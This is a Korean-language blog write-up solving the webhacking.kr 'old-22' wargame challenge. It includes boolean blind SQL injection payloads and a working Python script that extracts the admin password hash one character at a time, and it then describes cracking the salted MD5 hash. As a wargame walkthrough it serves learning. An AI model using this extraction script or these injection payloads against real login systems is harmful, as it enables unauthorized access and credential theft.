본문 바로가기

webhacking.kr

old-22

 

old-21 이랑 비슷한 문제이다

 

admin이름으로 계정 가입을 했을때

 

 

admin 계정으로 로그인해야겠다는 감이 온다

 

이제 어디서 인젝션이 터지는지 확인해 볼 차례

 

테스트로 guest 계정을 만들었다

 

guest' and 1=1/asdf를 했을때 

 

guest' and 1=2#/asdf 를 했을때

참과 거짓을 찾았다

 

guest/guest를 하게 되면 hash 값이 나오는데 이것은 나중에 살펴보자

 

우선 파이썬으로  admin계정의 패스워드를 알아내보자

import requests

cookie = {"PHPSESSID":"자신의 세션"}
url = "https://webhacking.kr/challenge/bonus-2/index.php"

for i in range(1, 50):
    data = {"uuid":f"admin' and length(pw)={i}#","pw":"asdf"}
    r = requests.post(url, data=data, cookies=cookie)
    if r.text.find("Wrong password!") != -1:
        print(f'length : {i}')
        break

pw = ""
for i in range(1, 33):
    for j in range(33 ,123):
        data = {"uuid":f"admin' and ascii(substr(pw,{i},1))={j}#","pw":"asdf"}
        r = requests.post(url, data=data, cookies=cookie)
        if r.text.find("Wrong password!") != -1:
            pw += chr(j)
            print(f"pw : {pw}")
            break

코드를 실행하면 패스워드가 나올 것이다

 

하지만 로그인을 해보면 로그인이 안됀다 

 

실행결과로 나온 패스워드는 위에서 나중에 확인해보겠다는 hash값이다

 

해쉬를 보면 md5 같아 온라인 디코딩 사이트에 넣어봤다

 

그러면 문자가 나올것이다

 

md5를 디코딩한 값을 다시 넣어도 안될것이다

 

왜냐하면 salt값이 존재하기 때문이다 

 

salt 값을 확이해보기 위해서는 guest/guest로 로그인했을시 나온 hash값을

 

md5로 디코딩하고 admin 계정의 해쉬값과 비교해보면 같은 값이 있다

 

같으값을 제외하고 로그인을하면 문제가 풀린다

'webhacking.kr' 카테고리의 다른 글

old-23  (0) 2021.08.29
old-21  (0) 2021.08.25
old-20  (0) 2021.08.10
old-19  (0) 2021.08.10
old-18  (0) 2021.08.10